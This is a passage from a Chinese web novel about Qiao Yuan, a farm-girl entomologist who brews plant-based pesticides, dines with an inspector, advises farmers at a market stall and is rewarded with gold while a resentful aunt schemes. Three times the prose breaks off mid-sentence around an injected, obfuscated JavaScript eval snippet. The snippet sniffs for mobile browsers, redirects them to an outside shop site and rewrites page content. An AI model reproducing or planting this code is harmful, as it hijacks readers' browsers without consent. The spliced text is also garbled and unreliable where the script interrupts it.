不肖半刻功夫，周进穿着一身官服便走进来了，他边走边朝乔元笑道：“姑娘今日怎的有空来此？听说姑娘刚在金台县买了房，料想这段时日应很不得空罢。” 红契要县衙盖印才能生效，周进知晓这事儿也不算奇怪。 乔元起身见礼后道：“今日来找大人，是想同大人谈一桩生意。” 坐到上首的周进，将身子往她所在的方向倾了倾，颇有兴致道：“什么生意？” 乔元没有直接明说，而是向他询问道：“还未问过大人，金台县黄板除蚜绝无仅有，想必州里对大人的评价颇高罢。” 一说到这事儿，周进的嘴角便没放下来过，“姑娘所言不错，有姑娘的除蚜神技，再加上令师严大人的肯定。我前几日与在州里故友人通信过，他们皆言我今年的百官考绩有望。” 乔元闻言，接着道：“大人可想让自己的考绩更稳当一些？” 周进眼眸眯起，又复而松开，“姑娘有何指教？” 乔元指尖点着椅子旁的扶手，“指教算不上，我想了一个能双赢的法子，就看大人要不要入局了。” 同乔元合作过一次，她的本事自不必说，更遑论连严老都愿意收她为徒，周进忙道：“还请姑娘直言。” 敲击扶手的指尖顿住，乔元看向他道：“不论各朝各代，农事皆为重中之重。我若说我有法子，能减轻虫害提高亩产，大人可愿相信？” 在周进处坐了半日，乔元走的时候，他亲自将人送至县衙门口，言语之间很是谦卑，“姑娘要的东西我这几日便赶紧备下，待全部准备齐整，我再派人来通知姑娘。” “如此便多谢大人了。”乔元谢过周进后离开县衙。 目送乔元离开，周进在原地抚掌大笑片刻，这才进了县衙内。 若此事能成，别说小小州府，他怕是要受命进京当京官儿了！ —— 从县衙出来，乔元顺道去了巡检司一趟。 托江稷的福她才能得了处这么好的屋子，先前答应过他，若是搬家了便请他来家里头用饭，如今也到该兑现承诺的时候了。 到了巡检司，门口的差役见是乔元来了，同样恭恭敬敬地将她请了进去。 态度谦恭到连乔元都有些错愕。 “劳烦姑娘稍候，大人还在地牢里头，我已经差人去通禀了。”差役领她入座，又吩咐人端来茶水。 “多谢。”乔元点头谢过。 接到差役通禀的时候，江稷正坐在地牢的最深处。 在他面前的十字木上，绑着一个身高八尺的壮汉，壮汉一身商贾打扮，以头巾覆面，只露出一双愤恨的眼睛。 江稷平稳开口，“你的人我已经尽数捉拿了，若是你迟迟不肯开口，想必等会儿遭殃的便是你手下的人了。” 壮汉啐了江稷一口，“狗官，你别以为这样便能吓唬我，即便你严刑拷打，我的兄弟们也绝不会吐露一个字！” 见壮汉态度强硬，江稷扯起一侧的嘴角，“无妨，我巡检司有的是法子让他们开口。” 壮汉闻言，用尽力抽动着身上的锁链，锁链被他震地叮当作响，仿佛下一刻他便能从十字木上脱身下来。 江稷非但不怕，反倒愈发走近壮汉，“对了，你还不知道罢，同你做买卖那人并非南方商户，而是……郭罗人。” 说完这句话，江稷没等壮汉满脸震惊地抬头，便回身往外走去。 壮汉在后头高声叫喊道：“狗官，你别走，说清楚这到底是怎么回事！” 江稷丝毫不理会他，踏上往上走的阶梯。 待他到堂上的时候，乔元正往嘴里塞着一块小糕饼，她的两颊一鼓一鼓地，有些像他幼时在家中见过的兔子。 “乔姑娘。”他安静看了一会儿，才出声道。 乔元回头见是江稷来了，忙将嘴里的糕饼咽了下去。咽地有些急，她轻咳了好几声才道：“大人。” 江稷快步到她面前，递上一旁的茶盏，偏过头带着笑意问道：“姑娘今日来寻我，可是有什么要事？” 接过江稷递过来的茶水喝下，乔元顺了口气道：“我家昨日已经搬入新居，今日来是请大人后日赏脸到我家用饭的。” 好容易吃块糕点，还被人抓包，乔元面上浮起一小团红云。 原来是为了这事儿，江稷假装没有看到她的窘迫，应道：“好，我明日便放衙后便来。” “那大人可有什么忌口？”乔元问道。 “并未有什么忌口的。” 乔元点头，“那便好，我家在青石巷，明日我在巷口处等大人放衙。” —— 从巡检司回来后，乔元把这事儿同家里人说了。 周素一听后日巡检使要来家中用饭，惊地差点没从凳子上掉下去，“元姐儿，你莫要寻阿娘玩笑，巡检使大人当真要来我们家中用饭？” 乔元甚少见到自家阿娘这样夸张的表现，她无奈笑道：“阿娘，我诓你作甚。” 乔满山也差点被惊地摔下去，但碍于面子，他在一旁努力撑着桌子道：“既这房子是托巡检使大人的人情买的，我们家请他吃顿好饭食自是应当，看来后日我得拿出我的看家本事来了。” 乔长平在一旁连连阻止，“爹，你还是别了，咱们给阿娘打下手便是了。” 就他爹这做饭水平，怕是巡检使吃了一回便不再上门了。 在乔家人的忐忑中，后日轮转而至。 家里有家人在布置，乔元便早早等在了青石巷口。 直到看到一袭青色的身影如遇而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253758|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至，乔元在原地冲江稷挥了挥手，“大人。” 少女的身影被夕阳拉得很长，拂面的杨柳风吹起她的发丝，在见到他后，眼眸蓦地闪亮起来，扬手引他归家。 明明不过是一个普通至极的画面，不知道为何，江稷却下意识地想将它牢牢刻在心底。 “乔姑娘。”江稷颔首道。 “我家就在前面不远，大人请随我来罢。”乔元走在前头引路。 此刻，候在家中的乔家人已经是坐立不安了，听到门外的响动，一家人放下手中的东西，不约而同地在门口站成一排。 乔元同江稷一推开门，见到的便是一排僵硬地笑脸。 院内几人手脚都动不利索，还是乔满山先躬身迎了上来，“巡检使大人大驾光临，当真让此处荜篷生辉。” 乔长平在一旁咬牙轻道：“爹……是蓬荜。” 乔满山假装没听到，直接将江稷引入屋内。“大人快些落座，不过是家常小菜，还望大人莫要嫌弃。” 江稷坐下后，随意道：“本就是我叨扰，叫大人多有不便，大家若是不嫌弃，就叫我江稷罢。” 谁人敢直呼巡检使大名，乔家人互相对视一眼，气氛诡异地沉默下来。 乔元意识到不对，赶忙出来打圆场，“直呼名姓还是太无礼了些，不若我们便叫大人江公子罢，这样两相便宜。” 见江稷应下，乔满山这才壮着胆子称呼了一声，“江公子。” 称呼一变，像是距离也被拉进了些，乔永言第一个去找江稷攀谈。 他问的问题稀奇古怪，上到日月星辰，下到追凶缉贼。 有了他在场面上问东问西，气氛活跃不少，乔家余下几人在江稷面前的拘谨也被慢慢被冲淡了些。 为着今日江稷来，想到他上次喝不惯乡下的劣酒，乔满山特意去集市上满了两坛好酒。 周素更是用劲浑身解数，做了八九个菜，有菜有肉，还有管饱的贴饼。 虽算不上什么精致菜肴，但酒至半酣，席面上倒也有说有笑的。 乔满山的酒量算不上好，喝多了便有些发兴，周素生怕他惊扰贵客，便让乔长平先扶他回去歇息。 他一走，席面便冷了下来。 乔元怕他觉得无聊，刚巧院子里有一张石桌，乔元端上两把凳子，又拿上一小碟吃食，邀着江稷去院中赏月。 两人对坐，乔元看着江稷道：“我爹他今日是太过高兴了些，才饮下了这么多酒，大人别见怪。” “叫我江稷。”江稷身上带着浓烈的酒气。 “什么？”他的话有些含糊，乔元没有听清。 “在涌泉村你叫得习惯，怎的回来便不叫了？”江稷回头看向她。 想来这人也喝多了，乔元不愿同一个喝醉了的人掰扯，她顺着他的话道：“江稷。” 见乔元叫出他的名字，江稷满意地扬起嘴角。 “乔元。” “嗯？” “乔元。” “嗯。” “……你家人待你真好。”冷不丁，江稷冒出这样一句话。 虽不知他为何这样说，但乔元还是应道：“我家人，的确待我很好。” 想了想，乔元又问道：“那你呢？你出身名门，想必爹娘也待你很好罢。” 江稷的眼睫很长，就算两人坐得不算太近，乔元都能看见他扑闪地睫羽。 睫羽上下翻动一瞬，乔元耳边传来江稷的轻语，“我爹娘……” 男人嗓音低沉，带着几分绵软的醉意。 “他们……巴不得我去死。” 62. 农药 江稷的话很轻，轻到刚传到乔元耳边就在风里消散了。 他的话语带着酒后的随意，像是在说什么与他无关的东西。 乔元怔在原地，一时间不知该如何开口。 相识到现在，乔元印象里的江稷张狂又不羁，鲜少见到他有如此落寞的时候。 “江稷……” 听到乔元叫他的名字，江稷回头看过来，眼里带着问询，“什么？” 乔元安慰的话到嘴边，又咽了回去。 她伸手把面前的小碟子往江稷的方向推了推，“这碟子蜜饯酸甜可口，你喝了酒刚好可以吃它去去味。” 江稷依言拈起一块，酸甜的果味在口腔中蔓延开来，他有些餮足地眯起眼。 乔元也拿了一块放到嘴里，她没有再问询江稷什么，而是玩笑道：“你可知，我为何要用尽全部身家也要买下这间房子。” 没等江稷回答，她在月色下起身，绕着院子小步走着，“严老虽说要收我为徒，但京城人人势大，我并无自信一定能在京城立住脚跟。乔家上下只靠我一人，我若没有能力自保，便无法保护我的家人。” “如能有一处安稳宅院，至少能保我家人不受风雨凄苦。” 乔元背对月亮回身，月光圈出她的轮廓，像是逐月而来的天宫仙娥。 她道：“江稷，我本想就这样平平淡淡过完一生，但在见过蚜灾害人，蛴螬为祸后，我想我不该就这样隐于一处，我脑海中掌握的万千学识，或许能救一救在这世间挣扎的农人。” “有朝一日，我若能在京城立住脚跟，便要叫这世间知道有人名叫乔元。” 乔元说这话的时候，连月光都被她压了一筹，或者说，她本来就是光。 “好。”江稷心潮有些澎湃，他朝她虚空举杯，哑声道：“乔元，这杯敬你。” 青石巷的小院里，二人在月色下，交换了彼此心头隐秘的、不足为外人道的心事。 江稷最后是慢慢踱步回去的，他在金台县并未置办房产，除了巡检司无处可去。 看门的差役见他回来，脚步微醺，想上前扶着他，“大人。” 江稷摆摆手，“无妨。” 洗漱好躺到床上，江稷睁眼看着房梁，酒意清醒几分，脑海中却是一团繁杂。 直到乔元的脸穿过这团繁杂浮现出来，恍惚间，江稷听到她笑说，“江稷，同我归家罢。” —— 从床上醒过来的时候，乔元有些恍惚。 她昨晚明明拉着江稷在院中赏月，说着说着，她一时兴起，把乔满山没喝完的酒搬了出来，后来更是拉着江稷在院子里快疯到了亥时。 想起自己做了什么，乔元捂脸，有些不知该如何面对江稷。 好在这段时日也没什么事要去巡检司，大不了多躲着些便是了。 将昨晚的记忆抛诸脑后，乔元收拾好走出房门。 院子里天光大好，乔家几个儿郎正在一角嘀嘀咕咕说些什么。 “爹，你们这是在作甚？”乔元绕到他们背后疑惑道。 乔满山见她来，笑道：“家里好容易有了这样齐整的院子，我想着你娘爱看花草，同你大哥昨日去城郊采了一些，今日来培土种上。” 同周进说的事他既已经应下，家里怕是还有用得上乔家父子的地方。 乔元点头后道：“爹，你同大哥先别忙着去外头找事儿做，过几日我怕是要烦你们许多事情。” 连巡检使都能请到家中用饭，乔长平如今对自己这个妹妹佩服的五体投地，便是她开口让他往东别的回头，他都能一步不停地见崖则攀，遇水则凫。 乔长平打趣道：“这敢情好，那我同爹便在家中将这些老旧家具打磨打磨，省得巡检使下次来的时候见家里的东西这般破旧。” 乔元没理贫嘴的大哥，对着在一旁玩蜗牛的乔永言道：“永言明日可是要去学塾了？” 乔满山手上扶着花苗，抽空回道：“我同你们阿娘去送了束脩，永言明日是该去学塾了。” 在金台县学塾里头授课的是个老秀才，考了十几年没考过省试，只好回乡做了教书先生。学问虽不是大成，但教像乔永言这般的小子已然绰绰有余。 她计划内之事都已徐徐步入正轨，乔元也放心下来。 家里左右没什么事情，这几日得来空闲，她便在家中将自己所能想到同农学有关的昆虫知识，全都写在了买来的廉价麻纸上。 麻纸写了一张又一张，常见的昆虫也画了一页又一页，堆在书案侧边上的纸张越来越多。 中间周进派人来找过乔元几次，乔元去往县衙去了几趟，解决了一些疑难问题，又在家中埋头写写画画。 直到时间轮转，到了金台县里正集会那日。 天光一亮，乔元早早地便去到了县衙，如今她出入县衙已是平常事，不需属吏引路，就这样轻车熟路地走到后院。 原本整洁的县衙后院放着好几口大缸，缸里头盛满了各色液体，角落里是堆成小山的茶麸残渣和苦楝枝干。 那日乔元同周进说自己想到能减轻虫害又提高亩产法子，指的便是这些由植物提取的绿色农药。 茶麸水的效用自不必说，难得的是苦楝树。 苦楝里面特有的苦楝素和梅利亚碱，对于大部分农业昆虫都具有广谱的杀虫活性。 只要浓度配比得当，乔元保守估计虫害至少能下降五成。 同负责看管的属吏确认了各个环节都没有问题，她这才吩咐他们将这些液体分装到陶土烧制的坛子里。 二堂里已经传来人声，各个地方的里正逐渐汇聚到县衙内。 见人到的差不多了，周进派人将乔元请了过来。 乔元步入二堂的时候，站在里面的所有人都齐齐望向她。 她的脚步丝毫没有停顿，径直走到最前端站定，这才回身看向站在两侧的里正们。 站在最下头的田经义趁着无人注意，偏过头对着里正道：“上方兄，恭喜了，听说你们村这丫头得了严大人青眼了。” 里正眼角的皱纹挤在一处，疑惑道：“经义兄这是在说谁？” 见他脸上的表情不似作伪，田经义指了指站在上头的乔元，“上方兄难道不知，乔姑娘已经被上次来巡查的严维运严大人收为徒弟了。” 乔元从未同他说过这件事，里正心头泛起惊诧与苦涩，他有些不是滋味道：“是吗？我倒是不知了。” 田经义见他面色有些奇怪，正欲开口问询，却听上头端坐的周进道：“诸位肃静，今日我有一件大事要宣布。” 他只好回身过去，识趣地不在言语。 见里正们都躬身细听，周进从主位上下来，走到乔元身侧，“在我身边这位，是严维运大人近日收的爱徒，乔元姑娘。乔姑娘近日研制出了一些农用药物，这些药物对大家平日头疼的病虫害极为有效。今日每个村的里正，都能按照自己村有的田亩数量，领取对应分量，且不索价。” 平日里一毛不拔的周进还有这么大方的时候，下头一阵骚动，人人脸上皆是不可置信。 “知县大人不会是说笑罢，这世上怎会有如此好用的东西？” “我也存疑呢，这么小一个姑娘家能做出连司农寺都没有的东西？” “可她毕竟是严大人的爱徒，难不成是严大人给了她什么秘方？” “大家伙难道忘了，先前的黄板不就这姑娘做的。” 下头的私语声有一半传入乔元耳朵里，里正们对她的评价褒贬不一，但大多数还是存疑的。 乔元并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272283|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在意这一星半点的言语，农药的效果她最清楚不过，只要一撒入地里，不消几日，事实会替她正名。 顶替傅德清成为万宝村新里正的丁广业，见左右都无人敢上前，径直出列见礼道：“下官丁广业替村人多谢知县大人同乔姑娘，只是……”他话到半处，有些吞吞吐吐。 乔元看向他，“丁里正不妨有话直说。” 丁广业道：“这所谓的农药我们从未见过，这具体该如何使用，还请姑娘赐教。” 这人一出来，乔元便觉得他有些熟悉，如今细想，倒与那日拆穿傅鹏池的丁彦有些相似。 乔元看向早就候在一旁的属吏，属吏会意，将提前准备好的使用说明交付到每位里正手里。 见里正们人手一份后，乔元道：“各位手中拿到的便是这农药的使用说明，现在烦请大家同我一齐通读其中细则。” 提到同自己专业相关的东西，乔元像是变了一个人似的，满身气度不容置疑。 “如今已是五月，青虫高发，茶麸水的效用……” 茶麸水和苦楝汁液的用法和配比皆不相同，乔元细细同在场的人说了什么情况兑多少水，几日用一次，确认里正们都有了大致了解，这才放下心来。 农事上用的东西起效会慢些，有些时候若是出了差错甚至会伤到幼苗，故而乔元同周进商量过，第一批试用样品不收费。 农人就靠这一亩三分地吃饭，农药是否有效他们是最直观能发现的人。 等这批农药在田地上有明显效果之后，后续的销量便根本不用愁了。 在乔元同里正们讲解细则的功夫，后院的属吏们已经将分坛装好的两种药液搬到前院了。 周进又细细同他们说了一些务必要好好使用的话，这才宣布今日的集会到此结束。 田经义同里正走在最后头，他们村的田地不多，用不着上赶着去争那最前头的人。 他扯了扯里正的袖口道：“今日这出我倒是瞧不明白了。我竟不知这知县大人会有如此大方的时候，还有这劳什子农药，当真如乔姑娘说的这般神奇？” 里正也有些糊涂了，但元姐儿的本事他是知道的，况且还有河伯授法之事压在心里，他本能地便相信她说话。“经义兄，元姐儿既能被严大人收为弟子，想必这些东西定是错不了的。” 田经义点点头，“上方兄此言倒是有理。” 二人又接着聊了许多，忽听后头传来一道声音，“里正。” 方才人多，乔元不好同里正打招呼，如今人散了些，她走到里正面前道：“里正，这两坛药液你可能先放我家地里用用？” 里正奇道：“元姐儿，这是为何？” 乔元道：“我家田地还没找到合适的佃户，如今草木无人打理，想来应会有不少虫害。里正用我家的田地当范本给村人看，效果应当不错。” 原来是为这个事儿。 里正当即应允，“好，元姐儿你说的向来错不了，我回去便这样做。” 见里正应下，乔元对他躬身一礼，“那便多谢了。” 不过一段时日不见，便觉乔元同他疏离不少，里正有些百感交集，“元姐儿，还未恭喜你成了严大人的徒弟。” 严维运严大人的威名，便是他这样一个小村里正，也是如雷贯耳的。元姐儿能有如今的造化，他心头也替她高兴。 乔元自是瞧出了里正脸上的复杂情绪，她对他笑道：“多谢里正，不过无论我成为谁的徒弟，我始终都是石湾村出来的乔元。” 听她这么说，里正面上的郁色散了些，也跟着笑了起来。 是啊，元姐儿始终都是元姐儿，是他们石湾村的骄傲。 他道：“元姐儿，你只管等着，我定要让我们村人知道你这农药有多厉害。” 63. 立身（二） 在县衙忙活完这一趟，乔元同周进告辞后先回了家。 乔满山同乔长平还在院子里敲敲打打，见她回来了，乔满山道：“元姐儿，你瞧这个推车可是你要的样式？” 乔元绕着圈上下打量一番，推车小巧轻便，支架一抬便是一张小桌，不论放到何处都很是合适。 她扬起笑脸，“正是呢，多谢爹，多谢大哥。” 到了午间，一家人用完午饭，乔长平将乔永言重新送到学塾，这才对乔元道：“元姐儿，我们什么时候出发？” 乔元彼时正在院子里，将之前画的昆虫学知识装订成厚厚一本书册。她抬头看了看天色，“现在市集上怕是没什么人，我们再晚些再去。” 半个时辰后，乔长平推着推车走在前头，乔元抱着她装订的书册跟在后头，二人朝着市集的方向走去。 推车上放着麻纸和笔，侧边夹着一张长幡，上头是乔元请学塾先生写的几个字，“农事问询处”。 严维运送给乔元的书册上，写了相当多同农事有关的东西，但是乔元对这个世界的字认识不多，只能稍稍读上一点。 后来她想了个办法，将剩下不认识的字摘抄下来，等去学塾接乔永言的时候询问老秀才。 就这样读了不少时日，乔元也渐渐明白严维运给她这本书的含义。 他以农学立世闻名天下，这本书上记的是他多年的司农经验，乔元虽主攻昆虫学，但昆虫与农事从来不分两家，现如今她既然成了严维运的弟子，本书她自然要好好研习的。 只可惜乔元对农学了解不多，要在几个月内对农事有大致了解，最好的办法就是同农人面对面交谈。 西市。 乔元选了西市入口一个不起眼的一个角落，乔长平大喇喇地将推车支架一起，两个人将长幡挂到推车上，简易的小摊就成了。 来这处买卖的多半是周边村庄的农人，拉着些家里种的菜出来卖些琐碎铜板。 同乔元处在一侧的农人鲜少见到这么奇怪的推车，嘀嘀咕咕一阵，有个胆大些的婶子凑上来问道：“丫头，我瞧你这上头什么东西都没有，你这是要卖什么东西？” 乔元冲她笑笑，“婶子，我这里不卖东西，而是收。” “收？要收些什么？”那婶子奇了。 乔元拿出推车上的凳子坐下，怡然道：“我这摊子专收农事杂症。诸位若有从未见过的农事疑难，可来此地解惑，若我解答不了，便赔你十文钱。” 乔元此言一出，周围有不少上了年纪的农人都笑出了声。 她面前的婶子一听，惊声道：“你莫不是疯魔了？你这个年纪的丫头懂什么农事上的东西，我瞧你这身打扮也不是富贵人家，你这般浪费钱，难道家里大人也不出来管管。” 乔长平守在乔元一侧，出言道：“我是她长兄，我小妹爱做什么便是什么，不劳婶子挂心。” 有乔长平在一旁护着，那婶子纵然有怨言，一时间也不敢都吐到乔元身上。 乔元直视她，“婶子若是不信我有真章，不如现在就来问询我。” 听乔元这样一说，那婶子讪笑着在原地踱步，“这……一时间我倒也想不起来有什么要问的。” 周围农人皆存了想看乔元笑话的心思，见婶子问不出来，从一旁站起个汉子道：“我来问。” 那汉子一看便是经常在地里劳作的，臂膀上的青筋很是唬人，他坐到小推车面前的凳子上，嘴里叼着草根在细嚼，“丫头，你可要说话算话，若你答不出来，便要给我十文钱。” 乔元翻开严维运给的书册，“请说。” 汉子道：“我家种了一小片大豆，可最近这大豆叶上总是被虫啃咬，你说这该怎么办？” 他这话说的糊涂，只说是虫害，也不说是什么虫，啃咬情况如何，摆明了就是想骗乔元的十文钱。 乔元没作声，翻开了一旁订成一本的昆虫手册。 汉子面上显出得意的神色，单腿一个劲儿地在抖，“如何？可能解答？” 乔元顺着自制的编号，将画着螟虫的纸放到汉子面前，“可是这虫？” 麻纸上画着的螟虫惟妙惟肖，各处的细节很是完整，汉子没成想她会有这般东西，他低头辨认片刻，“倒是不像。” 乔元点点头，收回书册，接着去翻另外的页面。 一旁看热闹的人们见乔元拿出这样一本奇怪的书册，渐渐都朝她所在的方向聚拢，想看看她书册上到底画着什么东西。 乔元接连给汉子展示了两张书页上画的昆虫，汉子都摇头否认了。 时间一长，站在汉子身后的老者急了，他道：“你倒是快说那是什么虫，大家都是种地的难不成还有什么不认识的？” 汉子为难道：“这……这些虫左右都长一个样，我如何能说得清楚。” 乔元停下手中翻书的手，“那些被虫啃咬后的叶片可有什么特征？” 迫于压力，汉子仔细回想片刻道：“说来也怪，那些叶子上都会留下一个大洞，有些时候我都觉着像是被刀切的。” 乔元心念一动，直言道：“那不是虫咬的，是蜂。” “蜂？”在场众人有些讶异。 “怎么会是蜂？你不会是不想给我十文钱，答不出来在这儿瞎说罢。”汉子有些跳脚。 乔元往后翻了翻，将切叶蜂的细则展示给众人看，“这蜂叫切叶蜂，它们会从叶片上切割下圆形或半圆形的小片，用于筑巢。” 她又拿出一张麻纸，在上头画出叶片被切割后的大致样子，“你看看，你那大豆叶片可是这样的？” 汉子仔细端详片刻，有些不情愿道：“果真如此。” 乔元笑道：“切叶蜂对筑巢的叶片很是挑剔，它既切了你家豆叶，想来你家的豆种得应当很是不错。” 那汉子被乔元这么一夸，挠头道：“那是，我家种地是有些手艺的。” 后头的老者听得津津有味，他跟着道：“丫头，你还没说这该怎办呢。” 乔元道：“这事儿简单，切叶蜂会切割叶片，但通常不影响大豆的生长和产量。若是不喜欢它们，在大豆旁边撒上点薄纸或布片，吸引它们用这些东西筑巢便是了。” 乔元说完，那汉子怔愣道：“就这么简单？” “就这么简单。” 汉子想了想道：“如今你这般说，我也不知晓你说的是对是错。我今日回家就去试一试，若三日后情况没有好转，你那十文钱可还作数？” 乔元阖起书册，“自然。” 一场争论下来，乔元这处小摊前围了不少人。许多人闲来无事，见乔元这处的奇怪要求，赌性上来，纷纷想出点什么题目来难倒她。 接下来几天，乔元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285835|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这处小摊倒成了整个西市最热门的地方。 乔元不会整日都在这处，她上午在家研习严维运给的书册，下午便去市集摆摊。 遇上同昆虫有关的问题，她解答的很快，但若是植物病害，便答得有些勉强。侥幸遇上严维运书上没写的，她便将问题记下，再给对方十文钱。 十文钱虽然不多，但对于农人来说，答得出便是白得一个解决方法，答不出还有十文钱拿，再划算不过。 以至于到后面几日，乔元的推车刚到地方，便有一圈人围上来了，很是热闹。 一日下午，乔元正在给面前的婶子解答小麦锈病，便见县衙的属吏过来。 属吏对她躬身一礼，“乔姑娘，大人请你过去。” 乔元点头，“烦请稍后。” 解答完婶子的问题，乔元收拾好东西，跟着属吏去到了县衙。 县衙属吏难得到西市这样的地方，对面前这姑娘更是这般尊敬。 只余下众人面面相觑，她到底是什么来头。 县衙。 一见乔元进来，周进大笑着迎上来道：“乔姑娘大喜啊！” 乔元面露疑惑，“敢问大人，喜从何来？” 周进笑得两眼眯成一条缝，“今日州里下的公文送达了，姑娘在治蚜上功利千秋，咱们郢州府说是要给你开碑立传！” 一想到这以后都是同他有关的政绩，周进心里美得不行。 他又吩咐人抬了几个箱子放在乔元面前，“州里赏赐了许多金银下来，这些都是给姑娘的，姑娘可要看看？” 见乔元点头，周进着人打开箱子，箱子里头是一些她从未见过的贵重首饰和奇珍异宝。 最后一箱甫一打开，一个个金灿灿地金元宝差点闪瞎乔元的眼。 乔元扪心自问，她来这里这么久了，从来没因为什么事情腿软过。 直到今天，这一层的金元宝出现在她面前。 踏着夕阳回到家中时，乔元觉得自己的腿还是软的。 虽然有属吏护送，但这一路上，她还是忍不住左看看右瞧瞧，颇有些心虚，生怕半路上遇到人给她抢了。 周素同乔满山正在院子里洗刷老旧碗碟，便见乔元引着属吏，抬着一箱箱东西回来了。 劳烦属吏将箱子安顿好，乔元又打赏了不少银钱给他们，这才关上了大门。 家里没了生人，周素指了指放在屋内的箱子问道：“元姐儿，你这是？” 乔元比了个噤声的手势，让他们进屋去看。 确认四周的门窗关得严丝合缝了，乔元这才打开了离她最近的箱子。 满层的金元宝一出现，整个房间都被映照得亮堂起来。 周素有些喘不上气，猛掐着自己的人中，乔满山已经吓得跌到地上了，“元姐儿，这……这些是打哪儿来的？” 乔元叉腰在原地一笑，“州府说我除蚜有功，赏的。” 乔满山扑倒箱子边上，做梦一样拿了一块金元宝出来用力一咬，随后惊道：“真的，这是真的。” 周素忙拿帕子堵了他的嘴，“呆子！莫叫人听到了！” 院内的乔家人还在为这一箱箱金银而兀自震惊，而在离乔家不远的地方，立着一个妇人，正满是怨毒地盯着乔家的屋子。 吴玉梅口中喃喃，“贱人，我绝不会叫你好过的。” 64. 立身（三） 永宁巷。 劳累了一天的乔满仓刚踏入院子，便听到屋内传来乔天宝的哭声。 他心头一惊，连手上的家伙事儿都来不及放，便急忙跑了进去。 屋里漆黑一片，乔天宝正坐在地上哭闹着，眼泪鼻涕糊了满脸，见他来了，手脚并用地朝他爬来，“爹，爹，饿了，饭。” 乔满仓心疼地将他扶起，拿起棉布仔细地擦干他面上的脏污，又从木橱里拿出一块仔细用油纸包好的糕饼，放了在乔天宝手中。 他摸着乔天宝的头温声道：“天宝乖，爹这就去给你做饭。” 乔天宝双手捧着糕饼吃得正香，没有吭声。 乔满仓将院外的东西收拾好，刚踏入主屋，便见吴玉梅坐在床榻边上，手里紧紧捏着一张纸，眼神阴鸷地吓人。 乔满山被她吓了一跳，“你在家怎的不出声？天宝方才在外头大哭你竟也没听到。” 吴玉梅这才像是大梦初醒般，回过神来，“你回来了。” 乔满仓叹了口气，坐在了她对面的矮凳上，“你今日莫不是遇上什么事了？” 吴玉梅悠悠看向乔满仓，眼里透着浓浓地不甘，“你那死人弟弟一家，搬到金台县了。” 乔满仓眉头一跳，“不能罢，满山一家穷得叮当响，光靠他种地得的那些钱，想要在金台县买房子，怕是劳累五十年都买不起。” 吴玉梅死死盯着他，确信道：“不，就是他们一家。” 乔满仓不知吴玉梅这信心来自何处，他试探着问道：“你今日见到他们了？” 吴玉梅的指尖嵌入肉里，“我午后去市集买东西，见满山家那死丫头被人带着往县衙走。我以为她犯了什么事，就跟了上去，想去县衙找人探探口风。未曾想我还未找到人问询，那丫头就出来了，她后头还跟着好几个属吏，抬着几个大箱子往青石巷走。” “我一路跟，一路看。见几个属吏将几箱东西抬到了青石巷尾的一间房里，院门一开，你死人弟弟一家都在那处。那几个属吏走的时候，每个人都有说有笑的，手里还拿着不少银钱。” 话到此处，吴玉梅紧紧抓着乔满仓的臂膀，“满仓，你说他们家是不是发财了。” 乔满仓的手臂被她抓的生疼，“这，我也不知。左右同咱们家没有干系，管他们作甚。” “不！”吴玉梅惊叫起来，眼里尽是贪婪，“怎的没有关系，都是因为周素那贱人，我家天宝才会变成这样。他们家既有钱了，这些钱当然就归我们家。” 乔满仓心头直跳，“你忘了满山上次来咱们家时说的，你同他签了字据，我们两家已经两清了。” “呸！我去他的两清！”吴玉梅啐了一口，“只要我家天宝一日没好，我绝对不会和他们家两清的。” 深深地无力感爬上乔满仓的背脊，眼见面前的妻子越发魔怔，外头的乔天宝已经吃完了糕饼，又赖在地上哭闹起来。 他手撑着双膝，面上愈发凄苦。 这日子，什么时候是个头啊。 —— 今夜的乔家很是热闹。 这么多金银到了家里，乔满山同周素想了好一会儿都不知该藏什么地方。 等乔长平拉着乔元的推车回来，一家人一合计，不如在厨房挖个地道，用泥巴一盖，上头再堆上柴火，愣谁来了也瞧不出来。 乔元听后没什么意见，左右这些钱她暂时用不上，先存着也未尝不可。 本以为这该是几日后的事，谁料当夜，乔家父子就在厨房挖起了地道，怕被人听见，还用布条将门窗掩地严严实实的。 一连几日，乔家父子俩白日补觉，一入夜便开始挖地道。 没了乔长平帮忙，乔元每日只好自己推着小车去往市集。 第一日同她对赌的汉子后面特意来找了她一趟，说她那法子果然好用，不过三四日他种的那些豆便没被切叶了。 有了那汉子做宣传，市集上来找乔元的人愈发多了，她一摆摊，后头至少等着十几个要来问她问题的。 再加上看热闹的，西市这条小道被挤得水泄不通。 在等人的间隙，乔元扫了一眼小道，这处着实有些拥挤，她得考虑换个位置了。 